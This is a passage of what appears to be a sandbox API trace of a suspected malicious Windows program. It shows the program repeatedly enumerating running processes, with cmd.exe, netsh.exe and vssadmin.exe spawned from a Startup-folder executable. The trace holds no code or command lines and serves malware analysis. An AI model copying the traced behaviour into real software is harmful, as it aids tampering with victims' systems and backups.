th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0050.872] GetLastError () returned 0x12 [0050.875] Process32NextW (in: hSnapshot=0x170, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb34, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0050.883] GetLastError () returned 0x12 [0050.884] Process32NextW (in: hSnapshot=0x170, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb3c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0050.888] GetLastError () returned 0x12 [0050.888] Process32NextW (in: hSnapshot=0x170, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0050.888] GetLastError () returned 0x12 [0050.888] Process32NextW (in: hSnapshot=0x170, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.889] GetLastError () returned 0x12 [0050.889] Process32NextW (in: hSnapshot=0x170, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0050.890] CloseHandle (hObject=0x170) returned 1 [0050.890] Sleep (dwMilliseconds=0x1f4) [0051.480] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x194 [0051.482] Process32FirstW (in: hSnapshot=0x194, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0051.483] GetLastError () returned 0x12 [0051.483] Process32NextW (in: hSnapshot=0x194, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0051.484] GetLastError () returned 0x12 [0051.484] Process32NextW (in: hSnapshot=0x194, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0051.484] GetLastError () returned 0x12 [0051.484] Process32NextW (in: hSnapshot=0x194, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0051.485] GetLastError () returned 0x12 [0051.485] Process32NextW (in: hSnapshot=0x194, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0051.486] GetLastError () returned 0x12 [0051.486] Process32NextW (in: hSnapshot=0x194, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0051.486] GetLastError () returned 0x12 [0051.486] Process32NextW (in: hSnapshot=0x194, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0051.487] GetLastError () returned 0x12 [0051.487] Process32NextW (in: hSnapshot=0x194, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0051.488] GetLastError () returned 0x12 [0051.488] Process32NextW (in: hSnapshot=0x194, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0051.488] GetLastError () returned 0x12 [0051.488] Process32NextW (in: hSnapshot=0x194, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0051.489] GetLastError () returned 0x12 [0051.489] Process32NextW (in: hSnapshot=0x194, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.490] GetLastError () returned 0x12 [0051.490] Process32NextW (in: hSnapshot=0x194, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.491] GetLastError () returned 0x12 [0051.491] Process32NextW (in: hSnapshot=0x194, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.491] GetLastError () returned 0x12 [0051.491] Process32NextW (in: hSnapshot=0x194, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.492] GetLastError () returned 0x12 [0051.492] Process32NextW (in: hSnapshot=0x194, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.493] GetLastError () returned 0x12 [0051.493] Process32NextW (in: hSnapshot=0x194, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0051.493] GetLastError () returned 0x12 [0051.493] Process32NextW (in: hSnapshot=0x194, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.494] GetLastError () returned 0x12 [0051.494] Process32NextW (in: hSnapshot=0x194, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.495] GetLastError () returned 0x12 [0051.495] Process32NextW (in: hSnapshot=0x194, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0051.495] GetLastError () returned 0x12 [0051.495] Process32NextW (in: hSnapshot=0x194, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0051.496] GetLastError () returned 0x12 [0051.496] Process32NextW (in: hSnapshot=0x194, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0051.497] GetLastError () returned 0x12 [0051.497] Process32NextW (in: hSnapshot=0x194, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0051.497] GetLastError () returned 0x12 [0051.497] Process32NextW (in: hSnapshot=0x194, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.498] GetLastError () returned 0x12 [0051.498] Process32NextW (in: hSnapshot=0x194, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0051.499] GetLastError () returned 0x12 [0051.499] Process32NextW (in: hSnapshot=0x194, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0051.499] GetLastError () returned 0x12 [0051.499] Process32NextW (in: hSnapshot=0x194, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shakespeare-back.exe")) returned 1 [0051.500] GetLastError () returned 0x12 [0051.500] Process32NextW (in: hSnapshot=0x194, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="josh.exe")) returned 1 [0051.501] GetLastError () returned 0x12 [0051.501] Process32NextW (in: hSnapshot=0x194, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="senior.exe")) returned 1 [0051.502] GetLastError () returned 0x12 [0051.502] Process32NextW (in: hSnapshot=0x194, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashers-liability-centered.exe")) returned 1 [0051.502] GetLastError () returned 0x12 [0051.502] Process32NextW (in: hSnapshot=0x194, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="txtranslated.exe")) returned 1 [0051.503] GetLastError () returned 0x12 [0051.503] Process32NextW (in: hSnapshot=0x194, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="started.exe")) returned 1 [0051.504] GetLastError () returned 0x12 [0051.504] Process32NextW (in: hSnapshot=0x194, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="microwaveanalysis.exe")) returned 1 [0051.504] GetLastError () returned 0x12 [0051.504] Process32NextW (in: hSnapshot=0x194, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="infectiouscomparison.exe")) returned 1 [0051.505] GetLastError () returned 0x12 [0051.505] Process32NextW (in: hSnapshot=0x194, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pd barnes.exe")) returned 1 [0051.506] GetLastError () returned 0x12 [0051.506] Process32NextW (in: hSnapshot=0x194, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tradition.exe")) returned 1 [0051.507] GetLastError () returned 0x12 [0051.507] Process32NextW (in: hSnapshot=0x194, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="genetics dm penguin.exe")) returned 1 [0051.507] GetLastError () returned 0x12 [0051.507] Process32NextW (in: hSnapshot=0x194, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="metrichours.exe")) returned 1 [0051.508] GetLastError () returned 0x12 [0051.508] Process32NextW (in: hSnapshot=0x194, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cropssonic.exe")) returned 1 [0051.509] GetLastError () returned 0x12 [0051.509] Process32NextW (in: hSnapshot=0x194, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vampire.exe")) returned 1 [0051.509] GetLastError () returned 0x12 [0051.509] Process32NextW (in: hSnapshot=0x194, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="declaration_earrings_moms.exe")) returned 1 [0051.510] GetLastError () returned 0x12 [0051.510] Process32NextW (in: hSnapshot=0x194, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="damaged.exe")) returned 1 [0051.511] GetLastError () returned 0x12 [0051.511] Process32NextW (in: hSnapshot=0x194, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrong.exe")) returned 1 [0051.511] GetLastError () returned 0x12 [0051.511] Process32NextW (in: hSnapshot=0x194, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="roll_plates.exe")) returned 1 [0051.512] GetLastError () returned 0x12 [0051.512] Process32NextW (in: hSnapshot=0x194, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="professionalheavywidth.exe")) returned 1 [0051.513] GetLastError () returned 0x12 [0051.513] Process32NextW (in: hSnapshot=0x194, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="command.exe")) returned 1 [0051.513] GetLastError () returned 0x12 [0051.513] Process32NextW (in: hSnapshot=0x194, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="friend_medicine.exe")) returned 1 [0051.514] GetLastError () returned 0x12 [0051.514] Process32NextW (in: hSnapshot=0x194, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="examine.exe")) returned 1 [0051.515] GetLastError () returned 0x12 [0051.515] Process32NextW (in: hSnapshot=0x194, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="september_introduced_justice.exe")) returned 1 [0051.515] GetLastError () returned 0x12 [0051.515] Process32NextW (in: hSnapshot=0x194, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0051.516] GetLastError () returned 0x12 [0051.516] Process32NextW (in: hSnapshot=0x194, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe")) returned 1 [0051.517] GetLastError () returned 0x12 [0051.517] Process32NextW (in: hSnapshot=0x194, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0xa54, pcPriClassBase=8, dwFlags=0x0, szExeFile="cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe")) returned 1 [0051.517] GetLastError () returned 0x12 [0051.518] Process32NextW (in: hSnapshot=0x194, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa54, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0051.518] GetLastError () returned 0x12 [0051.518] Process32NextW (in: hSnapshot=0x194, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa54, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0051.519] GetLastError () returned 0x12 [0051.519] Process32NextW (in: hSnapshot=0x194, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0051.520] GetLastError () returned 0x12 [0051.520] Process32NextW (in: hSnapshot=0x194, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0051.520] GetLastError () returned 0x12 [0051.520] Process32NextW (in: hSnapshot=0x194, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb34, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0051.521] GetLastError () returned 0x12 [0051.521] Process32NextW (in: hSnapshot=0x194, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb3c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0052.304] GetLastError () returned 0x12 [0052.304] Process32NextW (in: hSnapshot=0x194, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0052.304] GetLastError () returned 0x12 [0052.305] Process32NextW (in: hSnapshot=0x194, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.305] GetLastError () returned 0x12 [0052.305] Process32NextW (in: hSnapshot=0x194, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0052.306] CloseHandle (hObject=0x194) returned 1 [0052.306] Sleep (dwMilliseconds=0x1f4) [0052.990] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ac [0052.993] Process32FirstW (in: hSnapshot=0x1ac, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0052.994] GetLastError () returned 0x12 [0052.994] Process32NextW (in: hSnapshot=0x1ac, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0052.994] GetLastError () returned 0x12 [0052.994] Process32NextW (in: hSnapshot=0x1ac, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0052.995] GetLastError () returned 0x12 [0052.995] Process32NextW (in: hSnapshot=0x1ac, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0052.996] GetLastError () returned 0x12 [0052.996] Process32NextW (in: hSnapshot=0x1ac, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0052.996] GetLastError () returned 0x12 [0052.996] Process32NextW (in: hSnapshot=0x1ac, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0052.997] GetLastError () returned 0x12 [0052.997] Process32NextW (in: hSnapshot=0x1ac, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0052.998] GetLastError () returned 0x12 [0052.998] Process32NextW (in: hSnapshot=0x1ac, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0052.998] GetLastError () returned 0x12 [0052.998] Process32NextW (in: hSnapshot=0x1ac, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, 